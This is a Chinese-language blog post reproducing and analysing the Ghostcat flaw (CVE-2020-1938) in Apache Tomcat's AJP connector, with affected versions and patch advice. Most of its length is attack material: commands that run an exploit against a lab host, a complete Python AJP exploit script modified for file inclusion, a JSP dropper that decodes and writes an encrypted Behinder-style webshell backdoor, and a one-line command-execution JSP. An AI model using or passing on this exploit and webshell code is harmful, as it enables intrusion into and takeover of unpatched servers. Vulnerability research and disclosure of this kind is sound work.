CVE-2020-1938 ：Apache Tomcat AJP 漏洞复现和分析

CVE-2020-1938 ：Apache Tomcat AJP 漏洞复现和分析 - 渗透测试中心
2020-05-11 18:18:00 Author: www.cnblogs.com(查看原文) 阅读量:779 收藏

一、漏洞描述

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件，将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响（tomcat默认将AJP服务开启并绑定至0.0.0.0/0）.

二、危险等级

高危

三、漏洞危害

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能，攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件（上传的文件本身可以是任意类型的文件，比如图片、纯文本文件等），然后利用 Ghostcat 漏洞进行文件包含，从而达到代码执行的危害

四、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

五、前提条件

对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009 。

六、漏洞原理

Tomcat 配置了两个Connecto，它们分别是 HTTP 和 AJP ：HTTP默认端口为8080，处理http请求，而AJP默认端口8009，用于处理 AJP 协议的请求，而AJP比http更加优化，多用于反向、集群等，漏洞由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件以及可以包含任意文件，如果有某上传点，上传图片马等等，即可以获取shel

七、漏洞分析

1.漏洞成因分析：

tomcat默认的conf/server.xml中配置了2个Connector，一个为8080的对外提供的HTTP协议端口，另外一个就是默认的8009 AJP协议端口，两个端口默认均监听在外网ip。

如下图：

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息，prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性

如下图：

因此可以通过此种特性从而可以控制request对象的下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

然后封装成对应的request之后,继续走servlet的映射流程如下图所示:

其中具体的映射方式就简略了，具体可以自己查看代码.

2.利用方式:

（1）、利用DefaultServlet实现任意文件下载

当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图

通过serveResource方法来获取资源文件

通过getRelativePath来获取资源文件路径

然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件，不限于class、xml、jar等文件。

（2）、通过jspservlet实现任意后缀文件包含

当url（比如http://xxx/xxx/xxx.jsp）请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:

控制路径之后就可以以jsp解析该文件所以只需要一个可控文件内容的文件即可实现rce.

八、漏洞复现

1.环境的准备

（1）.windows下漏洞复现环境准备，这里以tomcat-8.5.32为例。

https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

（2）、安装jdk并配置JDK环境

（3）、然后启动tomcat，点击tomcat目录/bin 文件夹下的startup.bat

2.漏洞复现利用

（1）、任意文件读取（这里可以读取webapps目录下的任何文件）

root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py 
root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xml

root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f index.jsp

root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f test.txt

2.任意文件包含：（这个有点鸡肋，需要上传要包含的文件内容）

（1）、先上传需要包含的JSP文件代码，这里是冰蝎小马(test.txt)

下面是将test.txt文件上传到ROOT目录下（这里为了漏洞演示，我直接将文件上传到该目录下，在实际的环境中，可以通过文件上传漏洞，上传txt文件结合利用漏洞）

test.txt文件内容：

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
<jsp:directive.page contentType="text/html" pageEncoding="utf-8"/>
<jsp:directive.page import="java.io.*"/>
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
<html><head><title>fuck</title></head>
<body bgcolor="#ffffff">
//mima:pass
<jsp:scriptlet><![CDATA[
String realPath = request.getRealPath(request.getRequestURI());
String dir=new File(realPath).getParent();
String strPath = dir+"/t00ls.jspx";
File strFile = new File(strPath);
boolean fileCreated = strFile.createNewFile();
Writer jspx = new BufferedWriter(new FileWriter(strFile));
String tmp ="PGpzcDpyb290IHhtbG5zOmpzcD0iaHR0cDovL2phdmEuc3VuLmNvbS9KU1AvUGFnZSIgdmVyc2lvbj0iMS4yIj48anNwOmRpcmVjdGl2ZS5wYWdlIGltcG9ydD0iamF2YS51dGlsLiosamF2YXguY3J5cHRvLiosamF2YXguY3J5cHRvLnNwZWMuKiIvPjxqc3A6ZGVjbGFyYXRpb24+IGNsYXNzIFUgZXh0ZW5kcyBDbGFzc0xvYWRlcntVKENsYXNzTG9hZGVyIGMpe3N1cGVyKGMpO31wdWJsaWMgQ2xhc3MgZyhieXRlIFtdYil7cmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsMCxiLmxlbmd0aCk7fX08L2pzcDpkZWNsYXJhdGlvbj48anNwOnNjcmlwdGxldD5pZihyZXF1ZXN0LmdldFBhcmFtZXRlcigicGFzcyIpIT1udWxsKXtTdHJpbmcgaz0oIiIlMmJVVUlELnJhbmRvbVVVSUQoKSkucmVwbGFjZSgiLSIsIiIpLnN1YnN0cmluZygxNik7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7b3V0LnByaW50KGspO3JldHVybjt9Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYygoc2Vzc2lvbi5nZXRWYWx1ZSgidSIpJTJiIiIpLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTs8L2pzcDpzY3JpcHRsZXQ+PC9qc3A6cm9vdD4="; 
String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
String eStr = java.net.URLDecoder.decode(str);
jspx.write(eStr);
jspx.flush();
jspx.close();
out.println(strPath);
]]></jsp:scriptlet>
</body>
</html>
</jsp:root>

（2）、测试可以直接访问test.txt

http://192.168.1.9:8080/test.txt

（3）、需要对poc进行修改，将包含"/asdf "修改为"/asdf.jspx"

https://github.com/backlion/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py

其修改后的代码如下：

#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
 
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
 if s is None:
  return struct.pack(">h", -1)
 l = len(s)
 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
 size = struct.calcsize(fmt)
 buf = stream.read(size)
 return struct.unpack(fmt, buf)
def unpack_string(stream):
 size, = unpack(stream, ">h")
 if size == -1: # null string
  return None
 res, = unpack(stream, "%ds" % size)
 stream.read(1) # \0
 return res
class NotFoundException(Exception):
 pass
class AjpBodyRequest(object):
 # server == web server, container == servlet
 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 MAX_REQUEST_LENGTH = 8186
 def __init__(self, data_stream, data_len, data_direction=None):
  self.data_stream = data_stream
  self.data_len = data_len
  self.data_direction = data_direction
 def serialize(self):
  data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
  if len(data) == 0:
   return struct.pack(">bbH", 0x12, 0x34, 0x00)
  else:
   res = struct.pack(">H", len(data))
   res += data
  if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
   header = struct.pack(">bbH", 0x12, 0x34, len(res))
  else:
   header = struct.pack(">bbH", 0x41, 0x42, len(res))
  return header + res
 def send_and_receive(self, socket, stream):
  while True:
   data = self.serialize()
   socket.send(data)
   r = AjpResponse.receive(stream)
   while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
    r = AjpResponse.receive(stream)
 
   if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
    break
class AjpForwardRequest(object):
 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
 # server == web server, container == servlet
 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 COMMON_HEADERS = ["SC_REQ_ACCEPT",
  "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
  "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
  "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
 ]
 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
 def __init__(self, data_direction=None):
  self.prefix_code = 0x02
  self.method = None
  self.protocol = None
  self.req_uri = None
  self.remote_addr = None
  self.remote_host = None
  self.server_name = None
  self.server_port = None
  self.is_ssl = None
  self.num_headers = None
  self.request_headers = None
  self.attributes = None
  self.data_direction = data_direction
 def pack_headers(self):
  self.num_headers = len(self.request_headers)
  res = ""
  res = struct.pack(">h", self.num_headers)
  for h_name in self.request_headers:
   if h_name.startswith("SC_REQ"):
    code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
    res += struct.pack("BB", 0xA0, code)
   else:
    res += pack_string(h_name)
 
   res += pack_string(self.request_headers[h_name])
  return res
 
 def pack_attributes(self):
  res = b""
  for attr in self.attributes:
   a_name = attr['name']
   code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
   res += struct.pack("b", code)
   if a_name == "req_attribute":
    aa_name, a_value = attr['value']
    res += pack_string(aa_name)
    res += pack_string(a_value)
   else:
    res += pack_string(attr['value'])
  res += struct.pack("B", 0xFF)
  return res
 def serialize(self):
  res = ""
  res = struct.pack("bb", self.prefix_code, self.method)
  res += pack_string(self.protocol)
  res += pack_string(self.req_uri)
  res += pack_string(self.remote_addr)
  res += pack_string(self.remote_host)
  res += pack_string(self.server_name)
  res += struct.pack(">h", self.server_port)
  res += struct.pack("?", self.is_ssl)
  res += self.pack_headers()
  res += self.pack_attributes()
  if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
   header = struct.pack(">bbh", 0x12, 0x34, len(res))
  else:
   header = struct.pack(">bbh", 0x41, 0x42, len(res))
  return header + res
 def parse(self, raw_packet):
  stream = StringIO(raw_packet)
  self.magic1, self.magic2, data_len = unpack(stream, "bbH")
  self.prefix_code, self.method = unpack(stream, "bb")
  self.protocol = unpack_string(stream)
  self.req_uri = unpack_string(stream)
  self.remote_addr = unpack_string(stream)
  self.remote_host = unpack_string(stream)
  self.server_name = unpack_string(stream)
  self.server_port = unpack(stream, ">h")
  self.is_ssl = unpack(stream, "?")
  self.num_headers, = unpack(stream, ">H")
  self.request_headers = {}
  for i in range(self.num_headers):
   code, = unpack(stream, ">H")
   if code > 0xA000:
    h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
   else:
    h_name = unpack(stream, "%ds" % code)
    stream.read(1) # \0
   h_value = unpack_string(stream)
   self.request_headers[h_name] = h_value
 def send_and_receive(self, socket, stream, save_cookies=False):
  res = []
  i = socket.sendall(self.serialize())
  if self.method == AjpForwardRequest.POST:
   return res
 
  r = AjpResponse.receive(stream)
  assert r.prefix_code == AjpResponse.SEND_HEADERS
  res.append(r)
  if save_cookies and 'Set-Cookie' in r.response_headers:
   self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
 
  # read body chunks and end response packets
  while True:
   r = AjpResponse.receive(stream)
   res.append(r)
   if r.prefix_code == AjpResponse.END_RESPONSE:
    break
   elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
    continue
   else:
    raise NotImplementedError
    break
 
  return res
 
class AjpResponse(object):
 _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
 COMMON_SEND_HEADERS = [
   "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
   "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
   ]
 def parse(self, stream):
  # read headers
  self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
 
  if self.prefix_code == AjpResponse.SEND_HEADERS:
   self.parse_send_headers(stream)
  elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
   self.parse_send_body_chunk(stream)
  elif self.prefix_code == AjpResponse.END_RESPONSE:
   self.parse_end_response(stream)
  elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
   self.parse_get_body_chunk(stream)
  else:
   raise NotImplementedError
 
 def parse_send_headers(self, stream):
  self.http_status_code, = unpack(stream, ">H")
  self.http_status_msg = unpack_string(stream)
  self.num_headers, = unpack(stream, ">H")
  self.response_headers = {}
  for i in range(self.num_headers):
   code, = unpack(stream, ">H")
   if code <= 0xA000: # custom header
    h_name, = unpack(stream, "%ds" % code)
    stream.read(1) # \0
    h_value = unpack_string(stream)
   else:
    h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
    h_value = unpack_string(stream)
   self.response_headers[h_name] = h_value
 
 def parse_send_body_chunk(self, stream):
  self.data_length, = unpack(stream, ">H")
  self.data = stream.read(self.data_length+1)
 
 def parse_end_response(self, stream):
  self.reuse, = unpack(stream, "b")
 
 def parse_get_body_chunk(self, stream):
  rlen, = unpack(stream, ">H")
  return rlen
 
 @staticmethod
 def receive(stream):
  r = AjpResponse()
  r.parse(stream)
  return r
 
import socket
 
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
 fr.method = method
 fr.protocol = "HTTP/1.1"
 fr.req_uri = req_uri
 fr.remote_addr = target_host
 fr.remote_host = None
 fr.server_name = target_host
 fr.server_port = 80
 fr.request_headers = {
  'SC_REQ_ACCEPT': 'text/html',
  'SC_REQ_CONNECTION': 'keep-alive',
  'SC_REQ_CONTENT_LENGTH': '0',
  'SC_REQ_HOST': target_host,
  'SC_REQ_USER_AGENT': 'Mozilla',
  'Accept-Encoding': 'gzip, deflate, sdch',
  'Accept-Language': 'en-US,en;q=0.5',
  'Upgrade-Insecure-Requests': '1',
  'Cache-Control': 'max-age=0'
 }
 fr.is_ssl = False
 fr.attributes = []
 return fr
 
class Tomcat(object):
 def __init__(self, target_host, target_port):
  self.target_host = target_host
  self.target_port = target_port
 
  self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  self.socket.connect((target_host, target_port))
  self.stream = self.socket.makefile("rb", bufsize=0)
 
 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
  self.req_uri = req_uri
  self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
  print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
  if user is not None and password is not None:
   self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
  for h in headers:
   self.forward_request.request_headers[h] = headers[h]
  for a in attributes:
   self.forward_request.attributes.append(a)
  responses = self.forward_request.send_and_receive(self.socket, self.stream)
  if len(responses) == 0:
   return None, None
  snd_hdrs_res = responses[0]
  data_res = responses[1:-1]
  if len(data_res) == 0:
   print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
  return snd_hdrs_res, data_res
 
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
 
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf.jspx',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

（4）、输入以下命令可文件包含执行，最终在root目录下生成一个后门文件t00ls.jspx

root@kali2019:/opt# python cve-2020-10487.py 192.168.1.9 -p 8009 -f test.txt

3.任意文件包含的另一种方法

（1）、也可以上传一句话命令执行文件exec.txt(里面的系统命令可以根据需要修改）

exec.txt内容如下：

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

（2）、测试可以正常访问上传的文件

http://192.168.1.9:8080/exec.txt

（3）、然后输入以下命令，可以任意文件包含执行系统命令

root@kali2019:/opt# python3 cve-2020-10487-v1.py 192.168.1.9 -p 8009 -f exec.txt --rce 1

九、漏洞修复建议

Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。

1、临时禁用AJP协议端口，在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443" />

2、配置ajp配置中的secretRequired跟secret属性来限制认证

3、官方下载最新版下载地址：

十、参考链接

文章来源: http://www.cnblogs.com/backlion/p/12870365.html
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